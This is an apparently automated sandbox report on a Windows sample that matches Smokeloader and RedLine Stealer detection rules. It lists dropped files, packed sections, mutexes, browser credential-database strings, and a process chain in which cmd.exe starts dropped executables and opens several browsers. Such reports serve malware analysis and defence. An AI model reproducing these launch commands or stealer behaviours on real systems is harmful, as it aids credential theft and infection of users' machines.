Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C670	0_2_6CB3C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA6E63	0_2_6CBA6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB59E50	0_2_6CB59E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB73E50	0_2_6CB73E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB54640	0_2_6CB54640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB82E4E	0_2_6CB82E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB877A0	0_2_6CB877A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB66FF0	0_2_6CB66FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3DFE0	0_2_6CB3DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB77710	0_2_6CB77710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB49F00	0_2_6CB49F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB660A0	0_2_6CB660A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5C0E0	0_2_6CB5C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB758E0	0_2_6CB758E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA50C7	0_2_6CBA50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7B820	0_2_6CB7B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB84820	0_2_6CB84820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB47810	0_2_6CB47810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7F070	0_2_6CB7F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB58850	0_2_6CB58850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5D850	0_2_6CB5D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6D9B0	0_2_6CB6D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C9A0	0_2_6CB3C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB75190	0_2_6CB75190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB92990	0_2_6CB92990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8B970	0_2_6CB8B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAB170	0_2_6CBAB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4D960	0_2_6CB4D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5A940	0_2_6CB5A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4CAB0	0_2_6CB4CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA2AB0	0_2_6CBA2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB322A0	0_2_6CB322A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB64AA0	0_2_6CB64AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBABA90	0_2_6CBABA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB51AF0	0_2_6CB51AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7E2F0	0_2_6CB7E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB78AC0	0_2_6CB78AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB79A60	0_2_6CB79A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3F380	0_2_6CB3F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA53C8	0_2_6CBA53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7D320	0_2_6CB7D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4C370	0_2_6CB4C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB35340	0_2_6CB35340

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB6CBE8 appears 133 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB794D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00404610 appears 316 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 2456

Source: file.exe, 00000000.00000000.2131986346.0000000002448000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesOdilesigo@ vs file.exe
Source: file.exe, 00000000.00000002.2450900392.000000006CDB5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamesOdilesigo@ vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000025.00000002.3001198301.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000025.00000002.3000226741.00000000025A0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2400576225.00000000024ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000014.00000002.2835940724.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000014.00000002.2836488033.000000000267E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2401105762.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: random[1].exe.18.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 7ca32398cd.exe.18.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9969505705040872
Source: random[1].exe.0.dr	Static PE information: Section: legihfsp ZLIB complexity 0.9944509128166915
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9969505705040872
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: Section: legihfsp ZLIB complexity 0.9944509128166915
Source: enter[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9998505806010929
Source: enter[1].exe.0.dr	Static PE information: Section: yaomedmc ZLIB complexity 0.9946347539296407
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9998505806010929
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: Section: yaomedmc ZLIB complexity 0.9946347539296407
Source: axplong.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9969505705040872
Source: axplong.exe.6.dr	Static PE information: Section: legihfsp ZLIB complexity 0.9944509128166915
Source: explorti.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9998505806010929
Source: explorti.exe.9.dr	Static PE information: Section: yaomedmc ZLIB complexity 0.9946347539296407

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@146/292@104/40

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB97030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB97030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\7XZ4F84C.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8012
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6308:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1336
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4232:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3392:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2036

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Users\user\1000003002\5aa32fec17.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5175.tmp\5176.tmp\5177.bat C:\Users\user\1000003002\5aa32fec17.exe"

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: firefox.exe, 00000021.00000003.3388400967.00000169CB269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3415887521.00000169CAC6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400060531.00000169CB26A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE timestamp BETWEEN date(:dateFrom) AND date(:dateTo);
Source: file.exe, 00000000.00000002.2413692880.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2445235619.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2450595340.000000006CD6F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: firefox.exe, 00000021.00000003.3388400967.00000169CB269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400060531.00000169CB26A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE events (id INTEGER PRIMARY KEY, type INTEGER NOT NULL, count INTEGER NOT NULL, timestamp DATE );
Source: firefox.exe, 00000021.00000003.3388400967.00000169CB269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400060531.00000169CB26A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INSERT INTO events (type, count, timestamp) VALUES (:type, 1, date(:date));
Source: file.exe, 00000000.00000002.2413692880.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2445235619.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2450595340.000000006CD6F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2413692880.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2445235619.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2450595340.000000006CD6F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2413692880.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2445235619.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2450595340.000000006CD6F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: firefox.exe, 00000021.00000003.3388400967.00000169CB269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400060531.00000169CB26A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;;
Source: firefox.exe, 00000021.00000003.3388400967.00000169CB269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400060531.00000169CB26A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;;Fy6
Source: 7ca32398cd.exe, 00000014.00000002.2836006553.000000000266E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT url FROM urls LIMIT 1000Mn;S
Source: firefox.exe, 00000021.00000003.3388400967.00000169CB269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400060531.00000169CB26A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;-
Source: firefox.exe, 00000021.00000003.3388400967.00000169CB269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400060531.00000169CB26A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;9'
Source: file.exe, file.exe, 00000000.00000002.2413692880.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2445235619.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2450595340.000000006CD6F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2413692880.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2445235619.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2413692880.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2445235619.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2450595340.000000006CD6F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2208818096.0000000022B29000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222496195.0000000022B1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: firefox.exe, 00000021.00000003.3388400967.00000169CB269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400060531.00000169CB26A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;9
Source: firefox.exe, 00000021.00000003.3388400967.00000169CB269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400060531.00000169CB26A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE type = :type AND timestamp = date(:date);
Source: file.exe, 00000000.00000002.2413692880.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2445235619.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2413692880.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2445235619.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	ReversingLabs: Detection: 36%
Source: file.exe	Virustotal: Detection: 46%

Source: RoamingBKJEGDGIJE.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: RoamingIJEGDBGDBF.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingBKJEGDGIJE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe "C:\Users\user\AppData\RoamingBKJEGDGIJE.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingIJEGDBGDBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe "C:\Users\user\AppData\RoamingIJEGDBGDBF.exe"
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 2456
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe "C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe"
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8012 -s 1056
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\1000003002\5aa32fec17.exe "C:\Users\user\1000003002\5aa32fec17.exe"
Source: C:\Users\user\1000003002\5aa32fec17.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5175.tmp\5176.tmp\5177.bat C:\Users\user\1000003002\5aa32fec17.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1992,i,12986128645903836916,990054772978296775,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1908,i,2461605866906430469,16426006232859990592,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe "C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2356 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {54a18292-6da0-4808-9925-4c7144e972d8} 3132 "\\.\pipe\gecko-crash-server-pipe.3132" 169b956bf10 socket
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7216 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7368 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1336 -s 1328
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7884 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7884 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4380 -parentBuildID 20230927232528 -prefsHandle 4008 -prefMapHandle 4124 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d4885320-d06e-4770-870c-611d160c432d} 3132 "\\.\pipe\gecko-crash-server-pipe.3132" 169cbbee210 rdd
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingBKJEGDGIJE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingIJEGDBGDBF.exe"	Jump to behavior
